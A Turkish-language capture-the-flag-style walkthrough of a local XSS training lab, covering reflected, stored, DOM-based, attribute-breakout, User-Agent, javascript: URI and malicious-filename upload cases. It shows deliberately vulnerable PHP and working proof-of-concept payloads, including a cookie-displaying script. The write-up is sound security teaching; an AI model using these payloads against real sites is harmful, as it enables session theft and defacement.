Basic Reflected

🛡️ Cross-Site Scripting (XSS) Nedir?

XSS, web uygulamalarında sık görülen bir güvenlik açığıdır. Bu açık, saldırganın kötü niyetli kod (genellikle JavaScript) enjekte ederek başka kullanıcıların tarayıcısında çalıştırmasına olanak tanır. Böylece saldırgan, kullanıcı verilerini çalabilir, oturumları ele geçirebilir veya sahte içerik gösterebilir.

🔍 Nasıl Ortaya Çıkar?

  • Girdi doğrulama eksikliği: Kullanıcıdan alınan veriler (formlar, URL parametreleri, yorum alanları) filtrelenmeden veya temizlenmeden doğrudan sayfada gösterildiğinde.
  • Çıktı kodlaması yapılmaması: Kullanıcı verisi HTML içinde doğru şekilde encode edilmezse, tarayıcı bunu komut olarak çalıştırabilir.

🎯 XSS Türleri

  1. Stored XSS (Kalıcı): Kötü niyetli kod veritabanına kaydedilir ve her kullanıcıya gösterilir. Örnek: Forum yorumuna zararlı script eklenmesi.
  2. Reflected XSS (Yansıtılan): Zararlı kod URL veya form aracılığıyla gönderilir ve anında geri yansıtılır. Örnek: Hatalı arama sonuç sayfasında script çalışması.
  3. DOM-based XSS: Tarayıcıdaki JavaScript kodunun DOM manipülasyonu sırasında kullanıcı verisini yanlış işlemesi. Örnek: document.write() ile kontrolsüz veri eklenmesi.

1. İlk Adım: Kaynak Kodun İncelenmesi

Lab sayfasını açtıktan sonra ilk yaptığımız şey, herhangi bir payload denemeden önce arka planda çalışan PHP kodunu incelemek oldu.

İlgili kısım şu şekilde:

if (isset($_GET['q'])) {
    $q = $_GET['q'];
    echo '<div class="alert alert-danger">';
    echo '' . $strings['text'] . ' <b>' . $q . '</b> ';
    echo '<a href="index.php">' . $strings['try'] . '</a>';
    echo "</div>";
}

Bu noktada kritik birkaç detay hemen göze çarpıyor:

  • Kullanıcıdan alınan veri: $_GET['q']
  • Bu veri hiçbir filtreleme veya encode işleminden geçmeden
  • Doğrudan HTML çıktısının içine gömülüyor

Burada ne yok?

  • htmlspecialchars()
  • htmlentities()
  • input validation
  • output encoding

Bu eksiklik, XSS için açık bir davetiye.

2. Veri Akışının Takibi (Data Flow)

Formun HTML tarafına baktığımızda:

<form method="GET">
    <input type="text" name="q">
</form>

Bu bize şunu söylüyor:

  • Form GET method'u ile gönderiliyor
  • q parametresi doğrudan URL'e ekleniyor

Yani tarayıcıda şu yapı oluşuyor:

/lab/xss/basic-reflected/?q=KULLANICI_GIRDISI

Ve bu değer, sunucu tarafında aynen response içine yazdırılıyor.

Bu, Reflected XSS'in klasik tanımıdır:

Kullanıcı girdisi → response → başka bir kullanıcıya yansıtılır

3. XSS Bağlamının Belirlenmesi (Context Analysis)

Payload atmadan önce şu soruya cevap vermek gerekir:

Kullanıcı girdisi HTML'in neresinde render ediliyor?

Koddan gördüğümüz çıktı şu yapıya sahip:

<b>USER_INPUT</b>

Bu bize şunu söyler:

  • HTML body içindeyiz
  • Attribute context değil
  • JavaScript context değil
  • Saf HTML context

Bu durumda <script> tag'inin çalışmaması için hiçbir teknik engel yok.

4. Payload Seçimi ve Sömürü

Bağlam belirlendikten sonra en temel ve öğretici payload kullanıldı:

<script>alert(1)</script>

Bu payload iki şekilde gönderilebilir:

Yöntem 1: Form Üzerinden

Search alanına payload yazılıp submit edilir.

Yöntem 2: Direkt URL ile

http://localhost:1337/lab/xss/basic-reflected/?q=<script>alert(1)</script>

Her iki yöntem de aynıdır çünkü form zaten GET request üretmektedir.

5. Payload Neden Çalıştı?

Sunucunun oluşturduğu HTML çıktısı şu hale gelir:

<b><script>alert(1)</script></b>

Tarayıcı HTML'i parse ederken:

  • <script> tag'ini algılar
  • İçindeki JavaScript kodunu çalıştırır
  • alert(1) tetiklenir

Ekranda "1" yazan bir popup görülür.

None

Bu noktada:

  • XSS başarıyla tetiklenmiştir
  • Lab teknik olarak çözülmüştür

Popup kapatıldıktan sonra sayfada "No result found for …" mesajının görünmesi normaldir. Bu, payload'ın çalışmadığı değil; sayfanın render edilmeye devam ettiği anlamına gelir.

Basic Stored

1. Kaynak Kod İncelemesi

Login sayfasındaki ilgili PHP kodu:

if (isset($_POST['uname']) && isset($_POST['passwd'])) {
  $q = $db->prepare("SELECT * FROM users WHERE username=:user AND password=:pass");
  $q->execute(array(
    'user' => $_POST['uname'],
    'pass' => $_POST['passwd']
  ));
  $_select = $q->fetch();
  if (isset($_select['id'])) {
    $_SESSION['username'] = $_POST['uname'];
    header("Location: stored.php");
    exit;
  }
}

Burada önemli olan noktalar:

  • SQL Injection yok (prepared statement kullanılmış)
  • Kullanıcı adı session'a filtrelenmeden yazılıyor
  • Ancak bu dosyada kullanıcı girdisi HTML'e basılmıyor

Yani:

  • Burada XSS tetiklenmez
  • Ama veri burada sisteme girer

Stored XSS'in doğası gereği bu normaldir.

2. Gerçek Hedef: Stored Message Sayfası

Login sonrası yönlendirilen sayfa, mesajların gösterildiği alan.

HTML çıktısında şu yapı dikkat çekiyor:

<div class="msg">SELAM</div>
<div class="msg">Hi</div>

Bu bize şunu söylüyor:

  • Daha önce gönderilmiş mesajlar var
  • Bu mesajlar HTML içinde render ediliyor
  • Escape edilmiş bir çıktı görünmüyor

Burada kritik soru şu:

Bu mesajlar nereden geliyor?

Cevap: ➡️ Kullanıcıdan

3. Input Noktası — Payload'ın Ekildiği Yer

Mesaj gönderme formu:

<form action="#" method="POST">
    <textarea name="mes"></textarea>
    <button type="submit">Submit</button>
</form>

Bu noktada şunları görüyoruz:

  • Kullanıcı istediği veriyi girebilir
  • POST ile sunucuya gönderilir
  • Sunucu bu veriyi saklar
  • Sonrasında chat alanında tekrar tekrar gösterir

Ancak:

  • htmlspecialchars()
  • htmlentities()
  • output encoding

gibi hiçbir güvenlik önlemi yoktur.

Bu, stored XSS için ideal bir senaryodur.

4. XSS Bağlamının Analizi (Context Matters)

Mesajlar şu HTML içinde gösteriliyor:

<div class="msg">USER_INPUT</div>

Bu şu anlama gelir:

  • HTML body içindeyiz
  • Attribute context değil
  • JavaScript context değil
  • Saf HTML context

Dolayısıyla <script> tag'inin çalışmaması için hiçbir engel yoktur.

5. Payload Seçimi ve Sömürü

En temel ve öğretici payload kullanıldı:

<script>alert(document.cookie)</script>

Bu payload textarea'ya yazılıp Submit edildi.

Sonrasında olanlar:

  1. Payload sunucu tarafında saklandı
  2. Sayfa yeniden yüklendi
  3. Tarayıcı HTML'i parse etti
  4. <script> çalıştı
  5. Session cookie ekranda görüntülendi

Çıktı şu şekildeydi:

None
PHPSESSID=i5510pe86k6ni31nu5tjilnea7

Bu, XSS'in başarılı olduğunu değil, tehlikeli olduğunu gösterir.

6. Neden Bu Bir Stored XSS?

Bu zafiyet reflected XSS değildir, çünkü:

  • Payload URL'de taşınmaz
  • Aynı request'te çalışmaz
  • Sunucu tarafında kalıcı olarak saklanır
  • Sayfa her açıldığında tekrar tekrar çalışır
  • Diğer kullanıcıları da etkiler

Bu, textbook tanımıyla Stored XSS'tir.

DOM

1. Uygulamanın Genel Yapısı

Uygulama, kullanıcıdan iki parametre almaktadır:

  • height
  • base

Bu parametreler kullanılarak üçgen alanı hesaplanmakta ve sonuç ekranda gösterilmektedir.

URL örneği:

http://localhost:1337/lab/xss/basic-dom-based/?height=5&base=10

Kullanıcı açısından masum bir hesaplama sayfası gibi görünmektedir.

2. Kaynak Kod İncelemesi

Kritik bölüm aşağıdaki PHP + JavaScript kodudur:

if (isset($_GET['base']) && isset($_GET['height'])) {
    echo '<div class="alert alert-success" id="answer"></div>';
    echo '<script>';
    echo 'var height = '.$_GET['height'].';';
    echo 'var base = '.$_GET['base'].';';
    echo 'var ans = base * height / 2;';
    echo 'document.getElementById("answer").innerHTML = "Result: "+ans;';
    echo '</script>';
}

Kritik Hatalar

  1. Kullanıcı girdileri ($_GET['height'], $_GET['base']) hiçbir filtreleme veya encode işlemi yapılmadan JavaScript içine yazılıyor.
  2. Girdiler tırnaksız şekilde JS değişkeni olarak kullanılıyor.
  3. Sonuç ekrana innerHTML ile basılıyor.

Bu üç hata birlikte DOM Based XSS için ideal bir ortam oluşturuyor.

3. Zafiyetin Mantığı (DOM XSS)

Bu zafiyette:

  • Payload HTML response içinde görünmez
  • JavaScript çalıştığı anda DOM manipüle edilir
  • Sunucu tarafında herhangi bir XSS filtresi olsa bile işe yaramaz

Veri akışı şu şekildedir:

URL parametresi → JavaScript değişkeni → DOM (innerHTML)

4. İlk Gözlem: Normal Çalışma

Normal bir kullanımda:

height=5&base=10

JavaScript şu şekilde çalışır:

var height = 5;
var base = 10;
var ans = base * height / 2;

Sonuç ekranda düzgün şekilde gösterilir.

5. Sömürü Stratejisi

Amaç:

  • Hesaplama yapmak değil
  • Kullanıcının gördüğü sonucu manipüle etmek

Bunun için:

  • JavaScript satırını kırmak
  • Kendi kodumuzu çalıştırmak
  • Orijinal hesaplamayı devre dışı bırakmak gerekir

Kod sırası önemli olduğu için payload base parametresine yerleştirilmiştir.

6. Payload Oluşturma

Kullanılan payload (URL encoded):

http://localhost:1337/lab/xss/basic-dom-based/?height=5&base=0%3Bdocument.getElementById(%22answer%22).innerHTML%3D%22HACKED%22%3B%2F%2F

Decode edilmiş hali:

None
0;document.getElementById("answer").innerHTML="HACKED";//

7. Tarayıcıda Çalışan JavaScript

Payload sonrası tarayıcıda çalışan JS kodu şu hale gelir:

var height = 5;
var base = 0;
document.getElementById("answer").innerHTML="HACKED";
// var ans = base * height / 2;
  • Orijinal hesaplama satırı yorum satırı haline gelir
  • DOM doğrudan saldırgan tarafından değiştirilir
  • Kullanıcı ekranda HACKED yazısını görür

Bu noktada DOM Based XSS başarıyla kanıtlanmıştır.

HTML Attribute Manipulation

HTML Attribute Manipulation, XSS saldırılarında kullanılan bir yöntemdir. Burada saldırgan, bir HTML etiketinin içindeki attribute (özellik) değerini bozarak veya yeni bir attribute ekleyerek tarayıcıda kötü niyetli JavaScript çalıştırır.

1. Uygulama Ne Yapıyor?

Sayfada basit bir form var:

  • Kullanıcı name alanına bir değer giriyor
  • Sayfa aşağıda "See your ticket" adlı bir link oluşturuyor
  • Bu link şu yapıya sahip:
ticket.php?name=KULLANICI_GIRDISI

Kullanıcı bu linke tıkladığında ticket.php sayfasına yönlendiriliyor.

2. Kaynak Kodda Kritik Nokta

Asıl zafiyet şu satırda:

echo '<a href="ticket.php?name=' . $ticketname . '"> See your ticket </a>';

Burada:

  • Kullanıcı girdisi ($ticketname)
  • Doğrudan href="..." attribute'u içine yazılıyor
  • Sadece < ve > karakterleri encode ediliyor

Yani şu karakterler filtrelenmiyor:

  • "
  • '
  • HTML event'leri (onclick, onmouseover vb.)

Bu çok kritik bir hata.

3. Zafiyetin Mantığı (Basit Anlatım)

Normal HTML:

<a href="ticket.php?name=test">See your ticket</a>

Eğer biz " karakterini kullanırsak:

  • href attribute'unu erken kapatabiliriz
  • Yeni bir attribute ekleyebiliriz

İşte buna HTML Attribute Manipulation denir.

4. Kullanılan Payload

Formdaki name alanına şu payload girildi:

" onclick=alert(1) x="
None

5. Tarayıcıda Oluşan HTML

Sunucu tarafında oluşan HTML:

<a href="ticket.php?name=" onclick=alert(1) x="">See your ticket</a>

Ne oldu?

  • href attribute'u kapandı
  • onclick attribute'u eklendi
  • JavaScript çalışabilir hale geldi

6. XSS Nasıl Tetiklendi?

  • Kullanıcı "See your ticket" linkine tıkladığında
  • onclick olayı tetiklendi
  • alert(1) çalıştı

Bu noktada XSS başarıyla kanıtlandı.

Welcome to Our Gallery

None

Uygulama Nasıl Çalışıyor?

Sayfa üzerinde dört adet buton bulunuyor. Bu butonlara tıklandığında tarayıcıya aşağıdaki gibi bir GET isteği gönderiliyor:

?img=1
?img=2

Sunucu tarafında bu parametre alınarak seçilen görsel ekrana basılıyor.

Kaynak Kod İncelemesi

Aşağıdaki kod parçası açığın bulunduğu yerdir:

if (isset($_GET['img'])) {
    echo '<img class="shadow-lg bg-body rounded"
         src="' . encodeB($_GET['img']) . '.jpg"/>';
}

Burada kullanıcıdan gelen img parametresi doğrudan <img> etiketinin src attribute'ü içine yerleştirilmektedir.

encodeB Fonksiyonu Ne Yapıyor?

function encodeB($char){
    $char = str_replace("<", urlencode("<"), $char);
    $encoded = str_replace(">", urlencode(">"), $char);
    return $encoded;
}

Filtrelenenler:

  • <
  • >

Filtrelenmeyenler:

  • " (çift tırnak)
  • ' (tek tırnak)
  • Boşluk karakteri
  • JavaScript event handler'lar (onerror, onload vb.)

Bu durum yanlış bir güvenlik varsayımıdır.

Kritik Nokta: Context Analizi

Oluşan HTML şu şekildedir:

<img src="KULLANICI_GİRDİSİ.jpg">

Bu bir HTML attribute contexttir.

Burada:

  • <script> kullanmaya gerek yoktur
  • Attribute kırılması yeterlidir
  • Event handler ile XSS mümkündür

Sömürü (Exploit) Mantığı

XSS'i tetiklemek için yapılması gerekenler:

  1. src attribute'ünü kapatmak
  2. Yeni bir attribute eklemek
  3. Görselin yüklenmesini bilinçli olarak bozmak

Kullanılan Payload

" onerror="alert('HACKED')

Tam URL:

http://localhost:1337/lab/xss/our-gallery/?img=" onerror="alert('HACKED')

Tarayıcı Tarafında Ne Oluyor?

Tarayıcının yorumladığı HTML:

<img src="" onerror="alert('HACKED').jpg">
  • src="" → geçersiz görsel
  • Görsel yüklenemez
  • onerror tetiklenir
  • JavaScript çalışır

Bu noktada XSS başarıyla doğrulanmış olur.

Açığın Temel Sebepleri

  1. Eksik filtreleme Sadece < ve > encode edilmiştir.
  2. Context-aware encoding yapılmaması HTML attribute'leri için tırnaklar encode edilmemiştir.
  3. Kullanıcı girdisinin doğrudan HTML'e basılması
  4. Allowlist kontrolünün olmaması img parametresinin sadece sayısal değer alması gerekirken bu kontrol yapılmamıştır.

Olası Etkiler (Impact)

Bu açık sayesinde saldırgan:

  • JavaScript çalıştırabilir
  • Kullanıcı oturumlarını çalabilir
  • Sahte içerik gösterebilir
  • Phishing saldırıları yapabilir
  • Uygulamayı deface edebilir

Gerçek bir uygulamada bu açık High Severity XSS olarak değerlendirilir.

User Agent

1. Giriş (Login) Mekanizmasının İncelenmesi

İlk olarak login ekranındaki PHP kodunu inceleyelim:

$q = $db->prepare("SELECT * FROM users WHERE username=:user AND password=:pass");
$q->execute(array(
    'user' => $_POST['uname'],
    'pass' => $_POST['passwd']
));

Bu kısım SQL Injection'a karşı prepared statement kullandığı için güvenli.

Login başarılı olunca:

$_SESSION['username'] = $_POST['uname'];
header("Location: user_agent_stored.php");

Kullanıcı user_agent_stored.php sayfasına yönlendiriliyor.

Buraya kadar XSS ile ilgili bir şey yok.

2. Kritik Nokta: User-Agent Nereden Geliyor?

HTTP isteklerinde User-Agent header'ı tamamen istemci kontrolündedir.

Normalde tarayıcı şöyle gönderir:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...

Ama bu değer tamamen değiştirilebilir.

Burp Suite ile login isteğini yakaladığımızda şunu yaptık:

User-Agent: <script>alert('Hacked')</script>

Bu payload login sırasında sunucuya gönderildi.

Önemli nokta:

Bu aşamada hiçbir alert çıkmaz.

Çünkü payload sadece kaydedilmiştir, henüz çalıştırılmamıştır.

3. Stored XSS Mantığı (Neden Hemen Çalışmadı?)

Bu labda:

  • Payload User-Agent olarak veritabanına kaydedildi
  • Çalışması için admin panelinde render edilmesi gerekiyordu

4. Admin Paneli Simülasyonu (Click Here)

user_agent_stored.php sayfasında şu mesaj yer alıyor:

"Admin logs your user agent data."

Sayfadaki Click Here butonuna bastığımızda admin paneli simüle ediliyor ve şu tablo gösteriliyor:

Username | User Agent

İşte kritik hata burada.

User-Agent verisi:

  • Hiçbir htmlspecialchars
  • Hiçbir encoding
  • Hiçbir output escaping olmadan direkt HTML içine basılıyor.

5. XSS'in Tetiklenmesi

Tablo render edildiği anda tarayıcı şunu görmüş oluyor:

<script>alert('Hacked')</script>
None

Ve sonuç:

✅ JavaScript çalıştı ✅ Alert ekrana geldi

News

Labın Amacı

Bu lab bizden şunu göstermemizi bekliyor:

  • htmlspecialchars() kullanılsa bile XSS'in tamamen engellenemeyeceğini
  • HTML attribute context'inde farklı XSS vektörleri olduğunu
  • javascript: URI protokolünün çoğu zaman gözden kaçırıldığını

Uygulamanın Genel Yapısı

None

Uygulama basit bir haber ekleme sistemi:

  • Kullanıcı:
  • News Title
  • News Url alanlarını dolduruyor
  • Veriler SQLite veritabanına kaydediliyor
  • Alt kısımda tüm haberler tablo halinde listeleniyor
  • Haber başlığı tıklanabilir bir link olarak gösteriliyor

Kaynak Kod İncelemesi

1️⃣ Input Alınan Kısım

if (isset($_POST['link'])){
    $ink = $_POST['link'];
    $title = $_POST['title'];
    $ink = htmlspecialchars($ink);
    $title = htmlspecialchars($title);
    $q = $db->prepare("INSERT INTO links(title,link) VALUES (:title,:link)");
    $q->execute([
        'link' => $ink,
        'title' => $title,
    ]);
}

Burada geliştirici şunu varsayıyor:

"htmlspecialchars kullandım, XSS artık mümkün değil"

Bu varsayım yanlış.

2️⃣ Output (Asıl Zafiyetin Olduğu Yer)

echo '<td>
        <a href="'.$cikti['link'].'" style="text-decoration: none;">
            ' . $cikti['title'] . '
        </a>
      </td>';

Bu noktada iki farklı bağlam var:

Veri Kullanıldığı YertitleHTML bodylinkHTML attribute (href)

Bu ayrım kritik.

Neden htmlspecialchars() Yetersiz?

htmlspecialchars() yalnızca şu karakterleri hedef alır:

  • <
  • >
  • "
  • '

Ancak şu payload'ta hiçbiri yoktur:

javascript:alert('XSS')

Dolayısıyla:

htmlspecialchars("javascript:alert('XSS')")

çıktısı değişmeden kalır.

Exploit Mantığı

Tarayıcılar <a> etiketi içinde:

<a href="javascript:alert('XSS')">

gördüğünde:

  • Linke tıklanırsa
  • JavaScript kodunu çalıştırır

Bu davranış tarayıcı standardıdır.

Adım Adım Exploit

1️⃣ Lab sayfasına gidilir

http://localhost:1337/lab/xss/news/

2️⃣ Form şu şekilde doldurulur

News Title

Test News

News Url

javascript:alert('XSS')

Submit edilir.

3️⃣ Veri Veritabanına Kaydedilir

Payload artık stored durumdadır.

4️⃣ Haber Listesinde Link Oluşur

HTML çıktısı şu hale gelir:

<a href="javascript:alert('XSS')">Test News</a>

5️⃣ Kullanıcı Linke Tıklar

💥 alert('XSS') çalışır.

None

File Upload

📌 1. Labı Anlamak

None

Bu lab, normal bir dosya yükleme ekranı sunar ancak görüntü yüklediğinde hiçbir şey değişmez. Bu durum bize iki şey söyler:

✔ Görsel gerçekten upload oluyor ✔ Ama görsel sunucu veya tarayıcı tarafından görünür değişiklik yaratmıyor

Lab açıklaması ve davranış koddan da anlaşılacağı üzere şöyle bir yapıyı takip eder:

<img src="<?php echo $path['path']; ?>">

Buradaki path doğrudan kullanıcı yüklemesinden gelir ve hiç filtrelenmez.

🔍 2. Sorunun Özü:

Uygulama sadece içerik tipi / dosya uzantısı kontrolü yapıyor (jpg, png, gif gibi) ancak dosya adı üzerinde hiçbir sanitizasyon (temizleme / encode) uygulamıyor. Bu da XSS için kaynak sağlar.

🧪 3. Windows vs Linux / Docker Gerekliliği

Windows filesystem'i belirli karakterleri dosya adına koymana izin vermez. Örneğin:

"><img src=x onerror=alert('XSS')>.png

gibi bir isim Windows Explorer'da yazılamaz.

Bu yüzden önerilen ortam:

✔ Docker konteyneri içinde ✔ Kali Linux veya Ubuntu terminali ✔ Linux filesystem'inde çalışmak ✔ Firefox gibi gerçek tarayıcıyla test etmek

⚙️ 4. Docker'da Labı Çalıştırmak

  1. Kali Linux'a Docker kur
  2. Terminalde yaz:
docker run --name vulnlab -d -p 1337:80 yavuzlar/vulnlab:latest
  1. Başlat:
sudo docker start vulnlab
  1. Tarayıcıdan:
http://localhost:1337

adresini aç.

🧰 5. Doğru Payload Nasıl Oluşturulur?

Buradaki amaç:

Dosya adını XSS payload'a dönüştürmek.

Windows bunu engellediği için Linux'da terminalden aşağıdaki gibi payload'ı oluşturalım:

touch '"><img src=x onerror=alert("XSS Zafiyeti")>.png'

Bu komutla dosya adı direkt olarak XSS payload olur.

💥 6. XSS'in Tetiklenmesi

Server bu yüklenen dosyanın yolunu şöyle bir <img> tag'ı içinde render eder:

<img src="uploads/"><img src=x onerror=alert("XSS Zafiyeti")>.png">
None

Bu HTML tarayıcı tarafından parse edildiğinde:

  • Tırnak kırılır
  • Yeni <img> tag'ı inject edilir
  • onerror tetiklenir
  • Alert kutusu açılır